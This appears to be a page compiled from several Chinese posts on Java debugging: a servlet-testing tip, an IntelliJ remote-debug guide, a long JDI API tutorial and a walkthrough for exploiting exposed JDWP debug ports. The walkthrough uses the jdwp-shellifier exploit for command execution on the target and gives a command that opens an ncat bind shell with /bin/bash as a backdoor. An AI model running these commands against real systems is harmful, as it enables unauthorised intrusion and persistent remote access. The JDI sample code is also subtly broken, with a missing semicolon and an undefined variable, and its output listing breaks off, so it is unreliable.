精华内容
下载资源
问答
  • JAVA接口调试
    千次阅读
    2017-07-10 16:39:31

    1、在开发工具相应地方打上断点;

    2、服务器启动后,直接在浏览器地址栏输入要调试的接口;

    3、如果有请求参数,请在调试接口的路径结尾处加上:“?”+请求参数+“=”+请求值。如:127.0.0.1:8080/WebProject/LoginServlet?userName=jim&password=123456;

    4、也可在以下地址尝试:http://ouapi.com/


    更多相关内容
  • Java接口测试工具

    2019-11-29 09:57:48
    Java接口测试工具
  • java webservice调试工具

    2018-09-17 14:43:52
    可发现webservice‘服务和方法,并且可以对webservice访问进行访问’
  • JDWP协议介绍协议分析Packet的结构JDWP传输接口(JavaDebugWireProtocolTransportInterface)JDWP的命令实现机制JDWP的事件处理机制结语参考资料JPDA(JavaPlatformDebuggerArchitecture)是Java平台调试体系结构的...
  • 调试java接口的工具(可发post,get......多种请求),里面有两个工具,jmeter和postman,两个都很好用,jmeter用起来高大上、postman简单使用
  • windows接口调试工具

    2018-01-19 16:18:20
    用于在windows上使用的接口调试工具,操作简单,下载即用,绿色安全。
  • JPDA主要由三个部分组成:Java虚拟机工具接口(JVMTI),Java调试线协议(JDWP),以及Java调试接口(JDI),本系列将会详细介绍这三个模块的内部细节、通过实例为读者揭开JPDA的面纱。本文是该系列的第一篇,将会...
  • RESTClient一款优秀的http接口测试工具,在不知道这个工具之前还在傻傻的通过编写代码测试接口请求,有了这个工具后,测试效率极大提升。
  • java JDWP调试接口任意命令执行漏洞

    千次阅读 2021-12-17 01:34:28
    点击"仙网攻城狮”关注我们哦~不当想研发的渗透人不是好运维让我们每天进步一点点简介JDWP(Java DEbugger Wire Protocol):即Java调试线协议,是一个为Java...

    293ea7bcc824d27fd1cf2f40156e83f9.gif

    点击"仙网攻城狮”关注我们哦~

    不当想研发的渗透人不是好运维fa2636fba406232c3941429321a3b273.png

    让我们每天进步一点点

    简介

    JDWP(Java DEbugger Wire Protocol):即Java调试线协议,是一个为Java调试而设计的通讯交互协议,它定义了调试器和被调试程序之间传递的信息的格式。说白了就是JVM或者类JVM的虚拟机都支持一种协议,通过该协议,Debugger 端可以和 target VM 通信,可以获取目标 VM的包括类、对象、线程等信息,该漏洞可以被黑帽子直接利用进行非法活动。

    22ed9b9bdd4799dec4124df38639ddb3.png实战

    下载exp:

    https://github.com/IOActive/jdwp-shellifier

    使用方法:

    python jdwp-shellifier.py -t 目标主机ip -p jdwp运行端口 --cmd "Your Command"

    使用nmap扫描目标nmap -sV -p 1-65535 目标ip  发现端口2424使用java Debug

    46b684c37891531541fbc2953cb8cd6f.png

    开启一个dnslog来确认命令执行

    211c0935328673fabae5fc79e8afbd4c.png

    使用exp进行命令注入

    ac3467d759046b434f7257639e448c98.png

    查看dnslog 发现命令已经执行成功

    6f52b7f0530036ddf9ac7873086502ab.png

    当然也可以直接开启一个后门使用nc进行连接

    python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --cmd "ncat -lvvp 1234 -e /bin/bash"

    这个漏洞经常出现在云环境部署后开发人员粗心大意没有关闭调试接口或者没有配置访问控制的情况下。漏洞原理啥的就不啰嗦了。

    往期内容

    灭世之Apache Log4j2 远程代码执行漏洞

    CFT学习资源与工具上新

    工具篇-BurpSutie Pro 2021.10.1最新版本

    327f942b1e2cead93299d412c2a78797.gif

    37590f685828786045410d4dea972024.gif

    更多资讯长按二维码 关注我们

    觉得不错点个“赞”呗c4e3cbbbed909e5c116cd9a61e15ab80.png      

    展开全文
  • Java调试接口周围的包装器库 与jdb类似的工具,旨在允许交互式调试Java和Scala 一种用作调试器工具的交互式CLI的编程语言 一个利用调试器工具进行交互式调试的sbt插件 安装调试器工具 家酿 sdb的公式(命令行的...
  • Insomnia restful接口调试工具,官网下载慢,特放到这里方便大家使用,restful client
  • JAVA远程调试

    2021-02-12 21:44:33
    1、远程端启动必须添加jvm参数-Xdebug -Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=${debug_port}其中debug_port为自定义的调试端口2、本地连接远程服务器debug端口打开Intellij IDEA,在顶部靠右的...

    1、远程端启动必须添加jvm参数

    -Xdebug -Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=${debug_port}

    其中debug_port为自定义的调试端口

    2、

    本地连接远程服务器debug端口

    打开Intellij IDEA,在顶部靠右的地方选择”Edit Configurations…”,进去之后点击+号,选择”Remote”,按照下图的只是填写红框内的内容,其中host为远程代码运行的机器的ip/hostname,port为上一步指定的debug_port,本例是5555

    879cdc83a36cc99d20395b494a906637.png

    然后点击Apply,最后点击OK即可

    启动debug模式

    现在在上一步选择”Edit Configurations…”的下拉框的位置选择上一步创建的remote的名字,然后点击右边的debug按钮(长的像臭虫那个),看控制台日志,如果出现类似“Connected to the target VM, address: ‘xx.xx.xx.xx:5555’, transport: ‘socket’”的字样,就表示连接成功过了。

    89cadd877749dab6c731f4765f5f8959.png

    设置断点,开始调试

    远程debug模式已经开启,现在可以在需要调试的代码中打断点了,比如:

    2da48fe4633043c923b6c16c0d306ac2.png

    如图中所示,如果断点内有√,则表示选取的断点正确。

    现在在本地发送一个到远程服务器的请求,看本地控制台的bug界面,划到debugger这个标签,可以看到当前远程服务的内部状态(各种变量)已经全部显示出来了,并且在刚才设置了断点的地方,也显示了该行的变量值。

    ad402d1dc30b8c4b59559b775f6412ab.png

    762226cf960f54d2885d16a832a9e905.png

    新增tomcat开启远程调试

    tomcat已提供相关功能,需要在catalina.sh中修改一下ip+port(远程服务的ip地址和调试端口)即可,

    d6f2b681bf6281079c766c0e3aa3a57b.png

    启动方式为

    ./catalina.sh  jpda start

    展开全文
  • java调试体系之Java 调试接口(JDI)

    千次阅读 2019-11-06 11:09:53
    JDI(Java Debug Interface)是 JPDA 三层模块中最高层的接口,定义了调试器(Debugger)所需要的一些调试接口。基于这些接口调试器可以及时地了解目标虚拟机的状态,例如查看目标虚拟机上有哪些类和实例等。另外...

    JDI 简介

    JDI(Java Debug Interface)是 JPDA 三层模块中最高层的接口,定义了调试器(Debugger)所需要的一些调试接口。基于这些接口,调试器可以及时地了解目标虚拟机的状态,例如查看目标虚拟机上有哪些类和实例等。另外,调试者还可以控制目标虚拟机的执行,例如挂起和恢复目标虚拟机上的线程,设置断点等。

    目前,大多数的 JDI 实现都是通过 Java 语言编写的。比如,Java 开发者再熟悉不过的 Eclipse IDE,它的调试工具相信大家都使用过。它的两个插件 org.eclipse.jdt.debug.ui 和 org.eclipse.jdt.debug 与其强大的调试功能密切相关,其中 org.eclipse.jdt.debug.ui 是 Eclipse 调试工具界面的实现,而 org.eclipse.jdt.debug 则是 JDI 的一个完整实现。

    JDI 工作方式

    首先,调试器(Debuuger)通过 Bootstrap 获取唯一的虚拟机管理器,见 清单 1。

    清单 1. 获取虚拟机管理器(VirtualMachineManager)

    1

    2

    VirtualMachineManager virtualMachineManager

        = Bootstrap.virtualMachineManager();

    虚拟机管理器将在第一次被调用时初始化可用的链接器。一般地,调试器会默认地采用启动型链接器进行链接,见 清单 2。

    清单 2. 获取默认的链接器(Connector)

    1

    LaunchingConnector defaultConnector = virtualMachineManager.defaultConnector();

    然后,调试器调用链接器的 launch () 来启动目标程序,并完成调试器与目标虚拟机的链接,见 清单 3。

    清单 3. 启动目标程序,连接调试器(Debuuger)与目标虚拟机(VirtualMachine)

    1

    VirtualMachine targetVM = defaultConnector.launch(arguments);

    当链接完成后,调试器与目标虚拟机便可以进行双向通信了。调试器将用户的操作转化为调试命令,命令通过链接被发送到前端运行目标程序的虚拟机上;然后,目标虚拟机根据接受的命令做出相应的操作,将调试的结果发回给后端的调试器;最后,调试器可视化数据信息反馈给用户。

    从功能上,可以将 JDI 分成三个部分:数据模块,链接模块,以及事件请求与处理模块。数据模块负责调试器和目标虚拟机上的数据建模,链接模块建立调试器与目标虚拟机的沟通渠道,事件请求与处理模块提供调试器与目标虚拟机交互方式,下面将逐一地介绍它们。

    JDI 数据模块

    Mirror

    Mirror 接口是 JDI 最底层的接口,JDI 中几乎所有其他接口都继承于它。镜像机制是将目标虚拟机上的所有数据、类型、域、方法、事件、状态和资源,以及调试器发向目标虚拟机的事件请求等都映射成 Mirror 对象。例如,在目标虚拟机上,已装载的类被映射成 ReferenceType 镜像,对象实例被映射成 ObjectReference 镜像,基本类型的值(如 float 等)被映射成 PrimitiveValue(如 FloatValue 等)。被调试的目标程序的运行状态信息被映射到 StackFrame 镜像中,在调试过程中所触发的事件被映射成 Event 镜像(如 StepEvent 等),调试器发出的事件请求被映射成 EventRequest 镜像(如 StepRequest 等),被调试的目标虚拟机则被映射成 VirtualMachine 镜像。但是,JDI 并不保证目标虚拟机上的每份信息和资源都只有唯一的镜像与之对应,这是由 JDI 的具体实现所决定的。例如,目标虚拟机上的某个事件有可能存在多个 Event 镜像与之对应,例如 BreakpointEvent 等。

    Mirror 实例或是由调试器创建,或是由目标虚拟机创建,调用 Mirror 实例 virtualMachine() 可以获取其虚拟机信息,如下所示。

    清单 4. 获取 Mirror 对象实例的虚拟机

    1

    VirtualMachine virtualMachine = mirror.virtualMachine();

    返回的目标虚拟机对象实现了 VirtualMachine 接口,该接口提供了一套方法,可以用来直接或间接地获取目标虚拟机上所有的数据和状态信息,也可以挂起、恢复、终止目标虚拟机,详情见 图 1。

    图 1. 虚拟机接口

    图 1. 虚拟机接口

    这样,调试器便可以获取目标虚拟机上的信息,维持与目标虚拟机间的通信,并且检查,修改和控制目标虚拟机上资源等。

    Value 和 Type

    Value 和 Type 接口分别代表着目标虚拟机中对象、实例变量和方法变量的值和类型。通过 Value 接口的 type(),可以获取该值对应的类型。JDI 中定义了两种基本的数据类型:原始类型(PrimitiveType)和引用类型(ReferenceType)。与其对应的数值类型分别是原始值(PrimtiveValue)和对象引用(ObjectReference)。Value 和 Type 的具体对应关系,请参见 表 1。

    表 1. JDI 中 Value-Type 的对照表

    (Value, Type)说明
    (PrimtiveValue, PrimtiveType)(ByteValue, ByteType)表示一个字节
    (CharValue, CharType)表示一个字符
    (ShortValue, ShortType)表示一个短整型数据
    (IntegerValue, IntegerType)表示一个整型数据
    (LongValue, LongType)表示一个长整型数据
    (FloatValue, FloatType)表示一个浮点型数据
    (DoubleValue, DoubleType)表示一个双精度浮点型数据
    (BooleanValue, BooleanType)表示一个布尔型数据
    (ObjectReference, ReferenceType)(ObjectReference, ReferenceType)表示目标虚拟机上的一个对象
    (ArrayReference, ArrayType)表示目标虚拟机上的一个数组
    (StringReference, ClassType)表示目标虚拟机上的一个字符串对象
    (ThreadReference, ClassType)表示目标虚拟机上的一个线程对象,有一套方法可以获得当前设置的断点,堆栈,也能挂起和恢复该线程等
    (ThreadGroupReference, ClassType)表示目标虚拟机上的一个线程组对象
    (ClassObjectReference, ClassType)表示目标虚拟机上的一个类的 java.lang.Class 实例
    (ClassLoaderReference, ClassType)表示目标虚拟机上的一个 ClassLoader 对象
    (VoidValue, VoidType)表示 void 类型

    PrimitiveType 包括 Java 的 8 种基本类型,ReferenceType 包括目标虚拟机中装载的类,接口和数组的类型(数组也是一种对象,有自己的对象类型)。ReferenceType 有三种子接口:ClassType 对应于加载的类,InterfaceType 对应于接口,ArrayType 对应于数组。另外,ReferenceType 还提供了一组方法,可以用来获取该类型中声明的所有变量、方法、静态变量的取值、内嵌类、运行实例、行号等信息。

    PrimtiveValue 封装了 PrimitiveType 的值,它提供一组方法可将 PrimtiveValue 转化为 Java 原始数据。例如,IntegerValue 的 value () 将返回一个 int 型数据。对应地,VirtualMachine 也提供了一组方法,用以将 Java 原始数据转化为 PrimtiveValue 型数据。例如 mirrorOf(float value) 将给定的 float 数据转化为 FloatValue 型数据。

    ObjectReference 封装了目标虚拟机中的对象,通过 getValue() 和 setValue() 方法可以访问和修改对象中变量的值,通过 invokeMethod() 可以调用该对象中的指定方法,通过 referringObjects() 可以获得直接引用该对象的其他对象,通过 enableCollection() 和 disableCollection() 可以允许和禁止 GC 回收该对象。

    TypeComponent

    TypeComponent 接口表示 Class 或者 Interface 所声明的实体(Entity),它是 Field 和 Method 接口的基类。Field 表示一个类或者实例的变量,调用其 type() 可返回域的类型。Method 表示一个方法。TypeComponent 通过方法 declaredType() 获得声明该变量或方法的类或接口,通过 name() 获得该变量或者方法的名字(对于 Field 返回域名,对于一般方法返回方法名,对于类构造函数返回 <init>,对于静态初始化构造函数返回 <clinit>)。

    JDI 的链接模块

    链接是调试器与目标虚拟机之间交互的渠道,一次链接可以由调试器发起,也可以由被调试的目标虚拟机发起。一个调试器可以链接多个目标虚拟机,但一个目标虚拟机最多只能链接一个调试器。链接是由链接器(Connector)生成的,不同的链接器封装着不同的链接方式。JDI 中定义三种链接器接口,分别是依附型链接器(AttachingConnector)、监听型链接器(ListeningConnector)和启动型链接器(LaunchingConnector)。在调试过程中,实际使用的链接器必须实现其中一种接口。

    根据调试器在链接过程中扮演的角色,可以将链接方式划分为主动链接和被动链接。主动链接是较常见一种链接方式,表示调试器主动地向目标虚拟机发起链接。下面将举两个主动链接的例子:

    由调试器启动目标虚拟机的链接方式:这是最常见、最简单的一种链接方式。

    • 调试器调用 VirtualMachineManager 的 launchingConnectors() 方法获取所有的启动型链接器实例;
    • 根据传输方式或其他特征选择一个启动型链接器,调用其 launch() 方法启动和链接目标虚拟机;
    • 启动后,返回目标虚拟机的实例。

    更高级的,当目标虚拟机已处于运行状态时,可以采用调试器 attach 到目标虚拟机的链接方式:

    • 目标虚拟机必须以 -agentlib:jdwp=transport=xxx,server=y 参数启动,并根据传输方式生成监听地址;(其中,xxx 是传输方式,可以是 dt_socket 和 share_memory)
    • 调试器启动,调用 VirtualMachineManager 的 attachingConnectors() 方法获取所有的依附型链接器实例;
    • 根据目标虚拟机采用的传输方式选择一个依附型链接器,调用其 attach() 方法依附到目标虚拟机上;
    • 完成链接后,返回目标虚拟机的实例。

    被动链接表示调试器将被动地等待或者监听由目标虚拟机发起的链接,同样也举两个被动链接的例子:

    目标虚拟机 attach 到已运行的调试器上的链接方式:

    • 调试器通过 VirtualMachineManager 的 listeningConnectors() 方法获取所有的监听型链接器实例;
    • 为每种传输类型分别选定一个链接器,然后调用链接器的 startListening() 方法让链接器进入监听状态;
    • 通过 accept() 方法通知链接器开始等待正确的入站链接,该方法将返回调试器正在监听的地址描述符;
    • 终端用户以 -agentlib:jdwp=transport=xxx,address=yyy 参数启动目标虚拟机(其中,yyy 是调试器的监听地址);
    • 目标虚拟机会自动地 attach 到调试器上建立链接,然后返回目标虚拟机的实例。

    即时(Just-In-Time)链接方式:

    • 以 -agentlib:jdwp=launch=cmdline,onuncaught=y,transport=xxx,server=y 参数启动目标虚拟机;
    • 虚拟机将抛出一个未捕获的异常,同时生成特定于 xxx 传输方式的监听地址,用于确立一次链接;
    • 目标虚拟机启动调试器,并告知调试器传输方式和监听地址;
    • 启动后,调试器调用 VirtualMachineManager 的 attachingConnectors() 方法获取所有依附型链接器实例;
    • 根据指定的 xxx 传输方式,选择一个链接器;
    • 调用链接器的 attach 方法依附到对应地址的目标虚拟机上;
    • 完成链接后,返回目标虚拟机的实例。

    Connector.Argument 是 Connector 的内嵌接口,表示链接器的一个参数,不同类型的链接器支持不同的链接器参数,LaunchingConnector 支持 home,main,suspend 等,AttachingConnector 和 ListeningConnector 支持 timeout,hostname,port 等参数,见 表 2。

    表 2. 常见的链接器参数

    Connector 类型参数名称说明
    LaunchingConnectorhome表示 java.home 的值,指向 JRE
    main表示所要执行的 Java 类的类名
    options表示使用的 Java 命令行参数
    suspend表示是否在启动目标虚拟机后挂起虚拟机
    AttachingConnector
    ListeningConnector
    hostname表示被链接一端的地址
    port表示被链接一端的端口
    timeout表示等待链接的时间

    下面将举一个简单例子,描述如何设置 main 链接参数,并启动目标虚拟机。首先,调用链接器的 defaultArguments() 获取该链接器所支持的一组默认参数,见 清单 5。

    清单 5. 获取链接器的默认参数

    1

    2

    Map<String,Connector.Argument> defaultArguments

        = connector.defaultArguments();

    默认参数存储在一个 Key-Value 对的 Map 中,Key 是该链接器参数的唯一标识符(对终端用户不可见),Value 是对应的 Connector.Argument 实例(包括具体参数的信息和默认值)。返回的 Map 不能再新增或者删除元素,只能修改已有元素的值。

    然后,从返回的 Map 中获取标识符为 main 的链接器参数,如 清单 6。

    清单 6. 返回链接器的 main 参数

    1

    Connector.Argument mainArgument = defaultArguments.get(“main”);

    最后,将 main 参数值设置为 com.ibm.jdi.test.HelloWorld,以修改后的参数启动目标虚拟机,见 清单 7。

    清单 7. 设置 main 参数的值并启动虚拟机

    1

    2

    mainArgument.setValue(“com.ibm.jdi.test.HelloWorld”);

    VirtualMachine targetVM = connector.launch(defaultArguments);

    JDI 事件请求和处理模块

    JDI 事件分类

    JDI 的 com.sun.jdi.event 包定义了 18 种事件类型,如 表 3 所示。其中,与 Class 相关的有 ClassPrepareEvent 和 ClassUnloadEvent;与 Method 相关的有 MethodEntryEvent 和 MethodExitEvent;与 Field 相关的有 AccessWatchpointEvent 和 ModificationWatchpointEvent;与虚拟机相关的有 VMDeathEvent,VMDisconnectEvent 和 VMStartEvent 等。

    表 3. JDI 中的事件类型

    事件类型描述
    ClassPrepareEvent装载某个指定的类所引发的事件
    ClassUnloadEvent卸载某个指定的类所引发的事件
    BreakingpointEvent设置断点所引发的事件
    ExceptionEvent目标虚拟机运行中抛出指定异常所引发的事件
    MethodEntryEvent进入某个指定方法体时引发的事件
    MethodExitEvent某个指定方法执行完成后引发的事件
    MonitorContendedEnteredEvent线程已经进入某个指定 Monitor 资源所引发的事件
    MonitorContendedEnterEvent线程将要进入某个指定 Monitor 资源所引发的事件
    MonitorWaitedEvent线程完成对某个指定 Monitor 资源等待所引发的事件
    MonitorWaitEvent线程开始等待对某个指定 Monitor 资源所引发的事件
    StepEvent目标应用程序执行下一条指令或者代码行所引发的事件
    AccessWatchpointEvent查看类的某个指定 Field 所引发的事件
    ModificationWatchpointEvent修改类的某个指定 Field 值所引发的事件
    ThreadDeathEvent某个指定线程运行完成所引发的事件
    ThreadStartEvent某个指定线程开始运行所引发的事件
    VMDeathEvent目标虚拟机停止运行所以的事件
    VMDisconnectEvent目标虚拟机与调试器断开链接所引发的事件
    VMStartEvent目标虚拟机初始化时所引发的事件

    不同的事件需要被分类地添加到不同的事件集合(EventSet)中,事件集是事件发送的最小单位。事件集一旦创建出来,便不可再被修改。JDI 定义了一些规则,用以规定应该如何将事件分别加入到不同的事件集中:

    • 每个 VMStartEvent 事件应该分别加入到单独的一个事件集中;
    • 每个 VMDisconnectEvent 事件应该分别加入到单独的一个事件集中;
    • 所有的 VMDeathEvent 事件应该加入到同一个事件集中;
    • 同一线程的 ThreadStartEvent 事件应该加入到同一事件集中;
    • 同一线程的 ThreadDeathEvent 事件应该加入到同一事件集中;
    • 同一类型的 ClassPrepareEvent 事件应该加入到同一个事件集中;
    • 同一类型的 ClassUnloadEvent 事件应该加入到同一个事件集中;
    • 同一 Field 的 AccessWatchpointEvent 事件应该加入到同一个事件集中;
    • 同一 Field 的 ModificationWatchpointEvent 事件应该加入到同一个事件集中;
    • 同一异常的 ExceptionEvent 事件应该加入到同一个事件集中;
    • 同一方法的 MethodExitEvents 事件应该加入到同一个事件集中;
    • 同一 Monitor 的 MonitorContendedEnterEvent 事件应该加入到用一个事件集中;
    • 同一 Monitor 的 MonitorContendedEnteredEvent 事件应该加入到用一个事件集中;
    • 同一 Monitor 的 MonitorWaitEvent 事件应该加入到同一个事件集中
    • 同一 Monitor 上的 MonitorWaitedEvent 事件应该加入到同一个事件集中
    • 在同一线程执行过程中,具有相同行号信息的 BreakpointEvent、StepEvent 和 MethodEntryEvent 事件应该加入到同一个事件集合中。

    生成的事件集将被依次地加入到目标虚拟机的事件队列(EventQueue)中。然后,EventQueue 将这些事件集以“先进先出”策略依次地发送到调试器端。EventQueue 负责管理来自目标虚拟机的事件,一个被调试的目标虚拟机上有且仅有一个 EventQueue 实例。特别地,随着一次事件集的发送,目标虚拟机上可能会有一部分的线程因此而被挂起。如果一直不恢复这些线程,有可能会导致目标虚拟机挂机。因此,在处理好一个事件集中的事件后,建议调用事件集的 resume() 方法,恢复所有可能被挂起的线程。

    JDI 事件请求

    Event 是 JDI 中所有事件接口的父接口,它只定义了一个 request() 方法,用以返回由调试器发出的针对该事件的事件请求(EventRequest)。事件请求是由调试器向目标虚拟机发出的,目的是请求目标虚拟机在发生指定的事件后通知调试器。只有当调试器发出的请求与目标虚拟机上发生的事件契合时,这些事件才会被分发到各个事件集,进而等待发送至调试器端。在 JDI 中,每一种事件类型都对应着一种事件请求类型。一次事件请求可能对应有多个事件实例,但不是每个事件实例都存在与之对应的事件请求。例如,对于某些事件(如 VMDeathEvent,VMDisconnectEvent 等),即使没有对应的事件请求,这些事件也必定会被发送给调试器端。

    另外,事件请求还支持过滤功能。通过给 EventRequest 实例添加过滤器(Filter),可以进一步筛选出调试器真正感兴趣的事件实例。事件请求支持多重过滤,通过 EventRequest 的 add*Filter() 方法可以添加多个过滤器。多个过滤器将共同作用,最终只有满足所有过滤条件的事件实例才会被发给调试器。常用的过滤器有:

    • 线程过滤器:用以过滤出指定线程中发生的事件;
    • 类型过滤器:用以过滤出指定类型中发生的事件;
    • 实例过滤器:用以过滤出指定实例中发生的事件;
    • 计数过滤器:用以过滤出发生一定次数的事件;

    过滤器提供了一些附加的限制条件,减少了最终加入到事件队列的事件数量,从而提高了调试性能。除了过滤功能,还可以通过它的 setSuspendPolicy(int) 设置是否需要在事件发生后挂起目标虚拟机。

    事件请求是由事件请求管理器(EventRequestManager)进行统一管理的,包括对请求的创建和删除。一个目标虚拟机中有且仅有一个 EventRequestManager 实例。通常,一个事件请求实例有两种状态:激活态和非激活态。非激活态的事件请求将不起任何作用,即使目标虚拟机上有满足此请求的事件发生,目标虚拟机将不做停留,继续执行下一条指令。由 EventRequestManager 新建的事件请求都是非激活的,需要调用 setEnable(true) 方法激活该请求,而通过 setEnable(false) 则可废除该请求,使其转化为非激活态。

    JDI 事件处理

    下面将介绍 JDI 中调试器与目标虚拟机事件交互的方式。首先,调试器调用目标虚拟机的 eventQueue() 和 eventRequestManager() 分别获取唯一的 EventQueue 实例和 EventRequestManager 实例。然后,通过 EventRequestManager 的 createXxxRequest() 创建需要的事件请求,并添加过滤器和设置挂起策略。接着,调试器将从 EventQueue 获取来自目标虚拟机的事件实例。

    一个事件实例中包含着事件发生时目标虚拟机的一些状态信息。以 BreakpointEvent 为例:

    调用 BreakpointEvent 的 thread() 可以获取产生事件的线程镜像(ThreadReference),调用 ThreadReference 的 frame(int) 可获得当前代码行所在的堆栈(StackFrame),调用 StackFrame 的 visibleVariables() 可获取当前堆栈中的所有本地变量(LocaleVariable)。通过调用 BreakpointEvent 的 location() 可获得断点所在的代码行号(Location),调用 Location 的 method() 可获得当前代码行所归属的方法。通过以上调用,调试器便可获得了目标虚拟机上线程、对象、变量等镜像信息。

    另外,根据从事件实例中获取的以上信息,调试器还可以进一步控制目标虚拟机。例如,可以调用 ObjectReference 的 getValue() 和 setValue() 访问和修改对象中封装的 Field 或者 LocalVariable 等,进而影响虚拟机的行为。更多的 JDI 的事件处理的详情,请参见图 2。

    图 2. JDI 事件处理框架(查看大图

    图 2. JDI 事件处理框架

    一个 JDI 的简单实例

    下面给出一个简单例子,说明如何实现 JDI 的部分接口来提供一个简易的调试客户端。首先是被调试的 Java 类,这里给出一个简单的 Hello World 程序,main 方法第一行声明一个“Hello World!”的字符串变量,第二行打印出这个字符串的内容,见 清单 8。

    清单 8. HelloWorld 类文件

    1

    2

    3

    4

    5

    6

    7

    8

    package com.ibm.jdi.test;

     

    public class HelloWorld {

        public static void main(String[] args) {

            String str = "Hello world!";

            System.out.println(str);

        }

    }

    接着是一个简单的调试器实现 SimpleDebugger,清单 9 列出了实现该调试器所需要导入的类库和变量。简单起见,所有的变量都声明为静态全局变量。这些变量分别代表了目标虚拟机镜像,目标虚拟机所在的进程,目标虚拟机的事件请求管理器和事件对列。变量 vmExit 标志目标虚拟机是否中止。

    清单 9. SimpleDebugger 导入的类和声明的全局变量

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    16

    17

    18

    19

    20

    21

    22

    23

    24

    25

    26

    27

    28

    29

    30

    31

    32

    33

    34

    35

    36

    package com.ibm.jdi.test;

     

    import java.util.List;

    import java.util.Map;

    import com.sun.jdi.Bootstrap;

    import com.sun.jdi.LocalVariable;

    import com.sun.jdi.Location;

    import com.sun.jdi.ReferenceType;

    import com.sun.jdi.StackFrame;

    import com.sun.jdi.StringReference;

    import com.sun.jdi.ThreadReference;

    import com.sun.jdi.Value;

    import com.sun.jdi.VirtualMachine;

    import com.sun.jdi.connect.Connector;

    import com.sun.jdi.connect.LaunchingConnector;

    import com.sun.jdi.connect.Connector.Argument;

    import com.sun.jdi.event.BreakpointEvent;

    import com.sun.jdi.event.ClassPrepareEvent;

    import com.sun.jdi.event.Event;

    import com.sun.jdi.event.EventIterator;

    import com.sun.jdi.event.EventQueue;

    import com.sun.jdi.event.EventSet;

    import com.sun.jdi.event.VMDisconnectEvent;

    import com.sun.jdi.event.VMStartEvent;

    import com.sun.jdi.request.BreakpointRequest;

    import com.sun.jdi.request.ClassPrepareRequest;

    import com.sun.jdi.request.EventRequest;

    import com.sun.jdi.request.EventRequestManager;

     

    public class SimpleDebugger {

        static VirtualMachine vm;

        static Process process;

        static EventRequestManager eventRequestManager;

        static EventQueue eventQueue;

        static EventSet eventSet;

        static boolean vmExit = false;

    随后是 SimpleDebugger 的 main() 方法,见 清单 10。首先从 VirtualMachineManager 获取默认的 LaunchingConnector,然后从该 Connector 取得默认的参数。接着,设置 main 和 suspend 参数,使得目标虚拟机运行 com.ibm.jdi.test.HelloWorld 类,并随后进入挂起状态。下一步,调用 LaunchingConnector.launch() 启动目标虚拟机,返回目标虚拟机的镜像实例,并且获取运行目标虚拟机的进程( Process)。

    然后,创建一个 ClassPrepareRequest 事件请求。当 com.ibm.jdi.test.HelloWorld 被装载时,目标虚拟机将发送对应的 ClassPrepareEvent 事件。事件处理完成后,通过 process 的 destroy() 方法销毁目标虚拟机进程,结束调试工作。

    清单 10. SimpleDebugger 的 main() 方法

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    16

    17

    18

    19

    20

    21

    22

    23

    24

    25

    26

    27

    28

    29

    30

    public static void main(String[] args) throws Exception{

        LaunchingConnector launchingConnector

            = Bootstrap.virtualMachineManager().defaultConnector();

         

        // Get arguments of the launching connector

        Map<String, Connector.Argument> defaultArguments

            = launchingConnector.defaultArguments();

        Connector.Argument mainArg = defaultArguments.get("main");

        Connector.Argument suspendArg = defaultArguments.get("suspend");

        // Set class of main method

        mainArg.setValue("com.ibm.jdi.test.HelloWorld");

        suspendArg.setValue("true");

        vm = launchingConnector.launch(defaultArguments);

     

        process = vm.process()

     

        // Register ClassPrepareRequest

        eventRequestManager = vm.eventRequestManager();

        ClassPrepareRequest classPrepareRequest

            = eventRequestManager.createClassPrepareRequest();

        classPrepareRequest.addClassFilter("com.ibm.jdi.test.HelloWorld");

        classPrepareRequest.addCountFilter(1);

        classPrepareRequest.setSuspendPolicy(EventRequest.SUSPEND_ALL);

        classPrepareRequest.enable();

     

        // Enter event loop

        eventLoop();

     

        process.destroy();

    }

    下面是 eventLoop() 函数的实现:首先获取目标虚拟机的事件队列,然后依次处理队列中的每个事件。当 vmExit(初始值为 false)标志为 true 时,结束循环。

    清单 11. SimpleDebugger 的 eventLoop() 的实现

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    private static void eventLoop() throws Exception {

        eventQueue = vm.eventQueue();

        while (true) {

            if (vmExit == true) {

                break;

            }

            eventSet = eventQueue.remove();

            EventIterator eventIterator = eventSet.eventIterator();

            while (eventIterator.hasNext()) {

                Event event = (Event) eventIterator.next();

                execute(event);

            }

        }

    }

    具体事件的处理是由 execute(Event) 实现的,这里主要列举出 ClassPreparEvent 和 BreakpointEvent 事件的处理用法,请参见 清单 12。

    清单 12. SimpleDebugger 的 execute () 方法

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    16

    17

    18

    19

    20

    21

    22

    23

    24

    25

    26

    27

    28

    29

    30

    31

    32

    33

    34

    35

    36

    37

    38

    39

    40

    41

    42

    private static void execute(Event event) throws Exception {

        if (event instanceof VMStartEvent) {

            System.out.println("VM started");

            eventSet.resume();

        } else if (event instanceof ClassPrepareEvent) {

            ClassPrepareEvent classPrepareEvent = (ClassPrepareEvent) event;

            String mainClassName = classPrepareEvent.referenceType().name();

            if (mainClassName.equals("com.ibm.jdi.test.HelloWorld")) {

                System.out.println("Class " + mainClassName

                        + " is already prepared");

            }

            if (true) {

                // Get location

                ReferenceType referenceType = prepareEvent.referenceType();

                List locations = referenceType.locationsOfLine(10);

                Location location = (Location) locations.get(0);

     

                // Create BreakpointEvent

                BreakpointRequest breakpointRequest = eventRequestManager

                        .createBreakpointRequest(location);

                breakpointRequest.setSuspendPolicy(EventRequest.SUSPEND_ALL);

                breakpointRequest.enable();

            }

            eventSet.resume();

        } else if (event instanceof BreakpointEvent) {

            System.out.println("Reach line 10 of com.ibm.jdi.test.HelloWorld");

            BreakpointEvent breakpointEvent = (BreakpointEvent) event;

            ThreadReference threadReference = breakpointEvent.thread();

            StackFrame stackFrame = threadReference.frame(0);

            LocalVariable localVariable = stackFrame

                    .visibleVariableByName("str");

            Value value = stackFrame.getValue(localVariable);

            String str = ((StringReference) value).value();

            System.out.println("The local variable str at line 10 is " + str

                    + " of " + value.type().name());

            eventSet.resume();

        } else if (event instanceof VMDisconnectEvent) {

            vmExit = true;

        } else {

            eventSet.resume();

        }

    }

    最后列出了以上程序的运行结果,见 清单 13。

    清单 13. 运行结果

    1

    2

    3

    4

    VM started

